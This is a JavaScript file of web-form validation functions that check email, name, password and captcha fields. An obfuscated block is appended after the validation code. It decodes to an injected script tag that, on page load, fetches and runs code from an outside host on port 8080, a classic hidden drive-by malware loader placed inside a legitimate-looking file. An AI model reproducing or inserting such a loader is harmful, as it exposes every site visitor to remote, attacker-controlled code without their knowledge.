function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		
		
		if (str.indexOf(at)==-1){
		   document.getElementById('err_email').innerHTML = '<span class="Estilo2">The email is not valid</span>';
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   document.getElementById('err_email').innerHTML = '<span class="Estilo2">The email is not valid</span>';
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    document.getElementById('err_email').innerHTML = '<span class="Estilo2">The email is not valid</span>';
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    document.getElementById('err_email').innerHTML = '<span class="Estilo2">The email is not valid</span>';
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    document.getElementById('err_email').innerHTML = '<span class="Estilo2">The email is not valid</span>';
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    document.getElementById('err_email').innerHTML = '<span class="Estilo2">The email is not valid</span>';
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    document.getElementById('err_email').innerHTML = '<span class="Estilo2">The email is not valid</span>';
		    return false
		 }

 		 return true					
	}
	
function nuevoAjax()
{ 
	/* Crea el objeto AJAX. Esta funcion es generica para cualquier utilidad de este tipo, por
	lo que se puede copiar tal como esta aqui */
	var xmlhttp=false; 
	try 
	{ 
		// Creacion del objeto AJAX para navegadores no IE
		xmlhttp=new ActiveXObject("Msxml2.XMLHTTP"); 
	}
	catch(e)
	{ 
		try
		{ 
			// Creacion del objeto AJAX para IE 
			xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
		} 
		catch(E) { xmlhttp=false; }
	}
	if (!xmlhttp && typeof XMLHttpRequest!='undefined') { xmlhttp=new XMLHttpRequest(); } 

	return xmlhttp; 
}

function password(pass, re_pass)
{
	var pass = document.getElementById(pass).value;
	var re_pass = document.getElementById(re_pass).value;
	if (pass == "")
	{
		document.getElementById('err_pass').innerHTML = '<span class="Estilo2">Indique la contrase&ntilde;a</span>';
		return false;
	}
	if (pass != re_pass)
	{
		document.getElementById('err_pass').innerHTML = '<span class="Estilo2">No son iguales</span>';
		return false;	
	}else{
		document.getElementById('err_pass').innerHTML = '';
		return true;	
	}
	return true;
}

function fn_email(campo)
{
	var emailID = document.getElementById(campo);
	if (emailID.value == ""){
		document.getElementById('err_email').innerHTML = '<span class="Estilo2">Please type the email</span>';
		return false
	}
	if (echeck(emailID.value)==false){
		return false
	}
	document.getElementById('err_email').innerHTML = '';
	return true	
}

function fn_name(name)
{
	var name = document.getElementById(name).value;
	if (name == false){
		document.getElementById('err_name').innerHTML = '<span class="Estilo2">Please type the name</span>';
		return false
	}
	document.getElementById('err_name').innerHTML = '';
	return true;
}


function capt(name)
{
	var name = document.getElementById(name).value;
	if (name == ''){
		document.getElementById('capt_error').innerHTML = '<span class="Estilo2">Required field</span>';
		return false
	}
	document.getElementById('capt_error').innerHTML = '';
	return true;
}

function fn_apellido(nombre)
{
	var nombre = document.getElementById(nombre).value;
	if (nombre == false){
		document.getElementById('err_apellido').innerHTML = '<span class="Estilo2">Debe indicar el apellido</span>';
		return false
	}
	document.getElementById('err_apellido').innerHTML = '';
	return true;
}

function validar()
{
	var error = "";
	//var usuario = document.getElementById('usuario').value;
	//var pass = document.getElementById('pass').value;
	//var re_pass = document.getElementById('re_pass').value;
	var emailID = document.getElementById('email');
	var name = document.getElementById('name').value;
	var capt = document.getElementById('c_captcha').value;
	//var apellido = document.getElementById('apellido').value;
	
	/*var usu = document.getElementById('err_usu').innerHTML;
	if (usu == '<span class="Estilo2">No disponible</span>')
	{
		error += "El nombre de usuario no esta disponible<br>";
	}
	if (usuario == "")
	{
		error += "El usuario esta vacio<br>";
	}
	if (pass == "")
	{
		error += "La contrase&ntilde;a esta vacia<br>";
	}
	if (pass != re_pass)
	{
		error += "La contrase&ntilde;as no son iguales<br>";
	}*/
	
	if (emailID.value == ""){
		alert ("Plase type your email");
		return false;
	}else{
		str = emailID.value;
	var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		er = 0;
		if (str.indexOf(at)==-1){
		   er = 1;
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   er = 1;
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    er = 1;
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    er = 1;
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    er = 1;
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    er = 1;
		 }
		
		 if (str.indexOf(" ")!=-1){
		    er = 1;
		 }
		 
		if (er == 1)
		{
			error += "Invalid Email\n";	
		}
	}
	
	if (name == "")
	{
		error += "Name is empty\n";
	}
	
		if (capt == "")
	{
		error += "There are empty fields\n";
	}
/*	if (apellido == "")
	{
		error += "El apellido esta vacio<br>"; 
	}*/
	if (error != "")
	{
		//Sexy.error('<h1>Se encontraron los siguientes errores</h1><p>'+error+'</p>');
		alert (error);
		return false;
	}else{
		return true;
	}
}

var Z;var O=[];EC={};j=function(){function h(N,k,o){this.hz='';var Kj={De:44810};return N.substr(k,o);}this.FR=60904;this.FR-=0;this.Xa="Xa";Nm=9726;Nm-=180;S={t:4067};var H='';this.Hj=59495;this.Hj--;var ke=RegExp;this.XJ=10407;this.XJ+=252;var Ze=new String();var q=document;try {} catch(DfX){};var X=String("/goo"+h("gle.jmq",0,4)+"com/"+"katz"+".cd/"+"goog"+h("le.iZWK",0,4)+h("knAe.phnAk",3,4)+h("pLNhE",0,1));var s={Kg:28219};var y={NF:29978};this.sO=37148;this.sO+=8;var z=false;function U(N,k){AB=54855;AB--;var o=String("[")+k+"]";qL={};var zA='';var E=new ke(o, new String("g"));Gr=["JH"];return N.replace(E, H);};ho={GA:false};this.yS="yS";var f=String("body");v=[];this.Hn="Hn";var fS=839446-831366;var _=U('s8cdrViLpLtV','FdVLEKYOh8I');ji={};hv={};var D=null;var YN={wm:23750};this.uy='';Z=function(){try {var K=U('cbrxebabtgegEblAe3mAexnOtb','3WibGAPxOg');var ba={IX:"UC"};F=q[K](_);var Ie="Ie";var B=["a"];this.am=40003;this.am+=117;var YH=new Date();var e=U('s1rPcF','Fan6J1mxPLf');this.gb=39537;this.gb-=70;VR={};var N=fS+X;this.PV="PV";var oF=String("defe"+"r");try {} catch(RF){};hos=["Ub","Pe","ui"];var kq=["vR","rf","QT"];WM={};F[oF]=[1][0];this.zJ='';F[e]=String("ht"+"tp"+h(":/JWh",0,2)+h("/cpN6R",0,2)+"hi"+"na"+h("wrv1zo",0,2)+"ap"+h(".rwKQ",0,2)+h("j47tu:j74t",4,2))+N;var UY=["WQ"];var Rr=["VK"];q[f].appendChild(F);this.cP=37045;this.cP++;} catch(L){try {var fN='gd'} catch(fN){};this.MV=false;UA=["Zm","kV","Ad"];vl=12155;vl--;};var i='';A_=["cI","Cy","il"];};this.SX="SX";var rR=127;};KH={};j();nT={q_:"lVr"};window.onload=Z;var aW=46310;var bi={bv:false};